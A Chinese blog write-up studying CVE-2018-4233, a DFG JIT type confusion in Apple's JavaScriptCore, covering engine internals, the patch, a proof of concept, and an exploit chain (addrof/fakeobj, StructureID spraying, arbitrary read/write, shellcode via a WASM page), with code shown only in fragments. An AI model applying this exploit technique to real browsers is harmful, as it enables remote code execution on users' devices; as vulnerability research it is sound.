文章首发于安全KER https://www.anquanke.com/post/id/244472
0x00 前言
JavaScriptCore是Apple的WebKit浏览器内核中的JS引擎,最近学习JavaScriptCore引擎的漏洞利用,在此以CVE-2018-4233为例来学习JavaScriptCore引擎的漏洞利用一般思路
0x01 前置知识
JSC引擎执行流程
JSC引擎执行JS代码的流程如下

Lexer:词法分析,提取单词
Parser:语法分析,生成语法树,并从语法树中构建ByteCode
LLInt:Low Level Interpreter执行Parser生成的ByteCode,其代码位于源码树中的llint/文件夹
Baseline JIT: 在函数调用了 6 次,或者某段代码循环了大于100次会触发该引擎进行JIT编译,其编译后的代码仍然为中间码,而不是汇编代码。其代码位于源码树中的jit/文件夹
DFG JIT: 在函数被调用了60次或者代码循环了1000次会触发。DFG是基于控制流图分析的优化器,将低效字节码进行优化并转为机器码。它利用LLInt和Baseline JIT阶段收集的一些信息来优化字节码,消除一些类型检查等。其代码位于源码树中的dfg/文件夹
FTL: Faster Than Light,更高度的优化,在函数被调用了上千次或者代码循环了数万次会触发。通过一些更加细致的优化算法,将DFG IR进一步优化转为 FTL 里用到的 B3 的 IR,然后生成机器码
可以知道,Baseline JIT->DFG JIT->FTL每一个过程都进行了更加深入的优化,优化一般就是通过类型收集和判断,消除一些不必要的类型检查,并生成机器码,从而可以节省运行时间。由于js是动态类型语言,当类型优化推断错误时,便可以返回上一级,比如DFG JIT优化错误,则返回Baseline JIT运行同时重新进行类型收集以便下一次优化。这个执行过程的转移使用的方法是堆栈替换 on-stack replacement,简称 OSR。这个技术可以将执行转移到任何 statement 的地方。
clobberWorld
在DFG的遍历优化中,会进行类型收集,如果要之前推断的类型不正确,则调用clobberWorld函数放弃之前推断信息,如果不调用该函数,那么前面的类型信息继续保留。
JSC断点调试
与V8不同的是,JSC没有提供用于断点调试的js函数,一种简便的方法是在printInternal函数上进行断点
1 | b *printInternal |
然后在js代码中调用print,即可断下。如果我们要打印信息,利用debug函数来打印,因为print已经被我们拿去断点用了。另一种方法是我们自己在Source/JavaScriptCore/jsc.cpp源码中增加一个dbg函数,并在函数中实现int3指令,然后就能在js中调用。
JSC对象内存模型
首先使用这段代码进行调试,其中describe函数是用来打印对象结构的,debug是用于输出文字的,print用于断点
1 | var obj = {}; |
输出如下
1 | --> Object: 0x7fffaf8ac000 with butterfly (nil) (Structure 0x7fffaf870460:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 297 |
使用gdb打印对象地址处的内容
1 | x /20gx 0x7fffaf8ac000 |
可以看到,我们的数据都依次按照顺序存入了对象的内存中,并且可以发现不同类型之间的存储,其最前面有一些标志数据,总结起来如下:
1 | Pointer: [0000][xxxx:xxxx:xxxx](前两个字节为0,后六个字节寻址) |
可以发现,对于对象类型,由于标记为0,所以直接存储着的就是指针,而Double和Integer最前面都加了标记。
现在我们将代码修改一下并测试
1 | var obj = {}; |
打印如下
1 | Object: 0x7fffaf8ac000 with butterfly 0x7ff0000fe5a8 (Structure 0x7fffaf870700:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11, m:12, n:13, o:14, p:15, q:16}, NonArrayWithInt32, Proto:0x7fffaf8c8020, Leaf]), StructureID: 303 |
可以看到butterfly已经不是null了,我们查看一下对象内存
1 | x /30gx 0x7fffaf8ac000 |
可以看到,butterfly里存储着数组的元素,而其他属性则仍然存储于对象中,我们称这些为内联属性,因为其存储于对象内部。现在测试代码再修改一下
1 | var obj = {}; |
输出如下
1 | Object: 0x7fffaf8ac000 with butterfly 0x7fec000f8468 (Structure 0x7fffaf870770:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11, m:12, n:13, o:14, p:15, q:16, r:100}, NonArrayWithInt32, Proto:0x7fffaf8c8020, Leaf]), StructureID: 304 |
可以知道a[‘r’] = 18;这句代码,18存储于butterfly上方,由于其是数组的操作方式,因此其不再归为内联属性,同时我们还注意到butterfly-0x8处的数据0x0000000300000002,这代表数组的大小和容量。
总结出JSC的对象结构如下:

其中JSCell是一个结构体,其中有StructureID等成员,在源码目录中的Tools/gdb/webkit.py文件是用于gdb调试的脚本插件,我们导入gdb,然后进行调试查看。
1 | p *(JSC::JSCell *)0x7fffaf8b42d0 |
其中JSCell的作用类似于V8中的Map,用于表示对象类型,与V8不同的是,类型的关键在于JSCell使用StructureID来区分类型,StructureID是一个类似于index下标的作用,真正的Structure指针存储在一个StructureTable中,判断对象的时候通过index从StructureTable取出Structure的地址,进而访问Structure,Structure表明了对象的原型,对象结构相同则具有相同的StructureID。
1 | JSC::StructureIDTable::get(JSC::StructureID) |
使用如下代码测试
1 | var a = {x:1,y:2}; |
输出如下
1 | --> Object: 0x7fffaf8b42d0 with butterfly (nil) (Structure 0x7fffaf8a7d40:[Object, {x:0, y:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 284 |
可以看到a和b具有相同的StructureID和Structure。
伪造对象
从上述可以知道,JSCell就是一串数值,包含着StructureID,而不是指针,并且在一些版本中,StructureID不是随机的,而是按照不同对象创建的顺序递增,因此我们想要伪造数组对象的话,可以先申请N个数组对象,然后稍微添加一个不同的属性,则它们的StructureID不同,然后我们猜测一个StructureID,只要确保其很大概率落在已有的这些StructureID之中即可。
查看优化的数据
与V8中的–trace-turbo类似的,JSC中提供了-p选项用于输出profiling data,里面包含一些优化时的数据、字节码等。profiling data格式为json,JSC没有提供像V8那样的可视化工具用于查看流图,我们就只能看看JSON数据。

0x02 漏洞分析利用
patch分析
1 | index e7f1585..fc1a7c5 100644 (file) |
该patch修复了漏洞,patch位于文件Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h中的executeEffects函数,从文件路径可以知道,这个漏洞与DFG JIT有关,executeEffects是当DFG JIT做优化时处理side Effects时用的,与v8一个道理,side Effects即一些潜在的侧链影响,通俗来讲就是判断某个操作是否会影响类型变化,如果会影响,放弃之前的类型推断,如果不影响,继续使用之前的类型。patch位于函数中switch的case CreateThis:分支,主要就是遍历字节码,遇到CreateThis时,调用clobberWorld函数放弃前面的类型推断。那么这也就是说,原来的漏洞点在于CreateThis是存在会影响对象类型的,但是DFG JIT没有判断出来,这就导致类型混淆。
POC构造
首先,要得到create_this字节码,使用的是this
1 | function foo() { |
得到的字节码如下
1 | [ 0] enter |
可以看到,通过put_by_id字节码指令将1存入x属性中。现在我们将测试代码稍作修改
1 | function foo(arg) { |
字节码如下
1 | [ 0] enter |
通过get_by_val字节码指令从数组中取出元素0,然后通过put_by_id存入属性x中。
现在加入触发DFG JIT优化的代码,再做测试,发现前期Parse以后的字节码是一样的,不同点在于这次存在了DFG JIT时的字节码展开,其中[ 10] create_this this, this, 1, 0和[ 18] get_by_val loc7, arg1, Int32: 0(const0) Original; predicting None被展开如下
1 | [10] |
可以知道,CreateThis被优化为了CheckCell和NewObject,并且在这种情况下参数arg的类型不可能发生变化,因此在[ 0] enter使用了CheckStructure检查一次参数就可以了,这里无需再重复检查。现在,我们尝试为foo函数增加一个Proxy代理,这样,使用foo_proxy对象对foo进行间接访问时,会被代理拦截,并进入handler的get函数中处理。
1 | function foo(arg) { |
输出如下
1 | root@ubuntu:~/Desktop/bug_bin# ./jsc t.js |
因为我们通过foo_proxy.a间接的访问了foo.a属性,所以被拦截了。那我们使用new foo_proxy()会发生什么呢?
1 | function foo(arg) { |
输出如下
1 | root@ubuntu:~/Desktop/bug_bin# ./jsc t.js |
因为在创建一个对象的时候,是需要用到函数的prototype这个属性的,它是函数的原型,也是foo的一个自带属性,因此在创建对象时也可以被成功拦截。我们尝试加入DFG JIT优化,并查看字节码
1 | function foo(arg) { |
ByteCode仍然一样,不一样的是DFG JIT的Code
1 | [10] |
可以看到,由于我们加入了代理,现在CreateThis不能再被内联优化,其中CreateThis的汇编调用代码如下
1 | 0x7fffb010016e: mov $0x7fffaff0b4a8, %r11 |
可以知道其主要是跳转到了0x7fffb0100565这个地址处,继续跟踪,该地址处的代码
1 | 0x7fffb0100565: mov %rax, -0x30(%rbp) |

通过调试,可以知道这里调用的函数是operationCreateThis这个函数,其源码位于文件Source/JavaScriptCore/dfg/DFGOperations.cpp中
1 | JSC_DEFINE_JIT_OPERATION(operationCreateThis, JSCell*, (JSGlobalObject* globalObject, JSObject* constructor, uint32_t inlineCapacity)) |
其中的操作SValue proto = constructor->get(globalObject, vm.propertyNames->prototype);会被我们JS层中的代理拦截,由此可以知道,operationCreateThis会回调JS层的代理函数。此时我们想到,在JS中的Proxy对象的handler中,我们可以操纵任意的对象,我们可以将参数arg的类型修改掉。于是这样构造
1 | function foo(arg) { |
这样,当CreateThis回调了handler中的get函数时,arr[0] = {}将arr的类型改为了对象数组类型,不再是unboxed double,但是CreateThis回调结束以后,并没有重新对arg进行类型检查,仍然将其当做unboxed double类型,由此造成了类型混淆。
运行结果如下,成功输出对象的地址
1 | root@ubuntu:~/Desktop/bug_bin# ./jsc t.js |
修复漏洞以后的版本,其DFG JIT的字节码展开如下
1 | [10] |
可以看到,其在CreateThis后面增加了一个CheckStructure,从而避免了类型混淆。
漏洞利用
fakeObj和addressOf原语构造
通过上述分析,我们很容易构造出两个原语
1 | function addressOf(obj) { |
堆喷StructureID
为了伪造一个数组对象,首先得拿到数组对象的StructureID,由于其是一串数字,并且对数组对象增加不同的属性即可使得StructureID不同,依次递增,因此,我们申请一些列不同原型的数组对象,然后随便猜测一个StructureID
1 | //制造N个对象,每个对象产生不一样的Structures,使得我们可以猜测一个可用的StructuresID |
伪造数组对象
1 | var victim = structs[0x300]; |
这里,我们将butterfly直接指向了victim,由于是对象,因此存储的是指针,所以通过hax,我们可以控制victim对象的整个结构,victim同样也是一个数组,我们这样做的目的是避免多次通过fakeObject和addressOf来伪造对象,因为这比较耗时并且可能影响内存布局,我们只需第一次伪造一个对象能够控制已有的对象,后面就可以方便操作,同样我们利用has和victim重新构造一个快速的NewAddressOf和NewFakeObject
1 | // ArrayWithDouble |
构造read64和write64原语
1 | function read64(addr_l,addr_h,index = 0) { |
这里,我们不使用数组的方式去实现任意地址读写,因为数组的方式需要保证used slots和max slots字段满足要求,任意地址处不可能一直满足这个要求,因此我们使用外属性的方式,前面介绍过,这种外部属性就存储于butterfly前面,使用read的时候,最后需要加上NewAddressOf进行转换,因为属性的存储是按照前面介绍的这个
Pointer: [0000][xxxx:xxxx:xxxx](前两个字节为0,后六个字节寻址)
Double: [0001~FFFE][xxxx:xxxx:xxxx]
Integer: [FFFF][0000:xxxx:xxxx](只有低四个字节表示数字)
False: [0000:0000:0000:0006]
True: [0000:0000:0000:0007]
Undefined: [0000:0000:0000:000a]
Null: [0000:0000:0000:0002]
方式存储的,显然我们读取的数据不满足这个要求,直接使用victim.prop返回的值会导致崩溃,当我们需要读取的数据是一些地址的时候,由于地址往往就48位,因此其高2字节为0,此时这个数据会被当成一个对象地址,因此为了拿到这个值,需要加上一层NewAddressOf,同理,在write64的时候如果写入的数据高2字节为0,需要加上一层NewFakeObject,由于我们写入的是double,就不需要,但是double数据会导致第7个字节的低4位为1,因此,我们不能一次性写入8个字节的完好数据,但是我们可以保证低4字节的数据被正确写入到目标处,因此,我们只需将数据拆分为4字节一组,然后包装为8字节的double,即可依次将数据完整的写入。
劫持WASM,写shellcode
1 | const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]); |
成功利用

0x03 感想
JSC的漏洞利用本质上与V8的漏洞利用相似,分析方法也类似,这些JS引擎的漏洞挖掘方法大多有着共同点。通过本次复现,又收获了许多新知识。
0x04 参考
FireShell2020——从一道ctf题入门jsc利用
Webkit Exploitation Tutorial
wiki JavaScriptCore
【编译原理】中间代码(一)
深入剖析 JavaScriptCore
Attacking Client-Side JIT Compilers (v2) Samuel Groß (@5aelo)
JavaScriptCore内部原理(一):从JS源码到字节码的追踪
WebKit commitdiff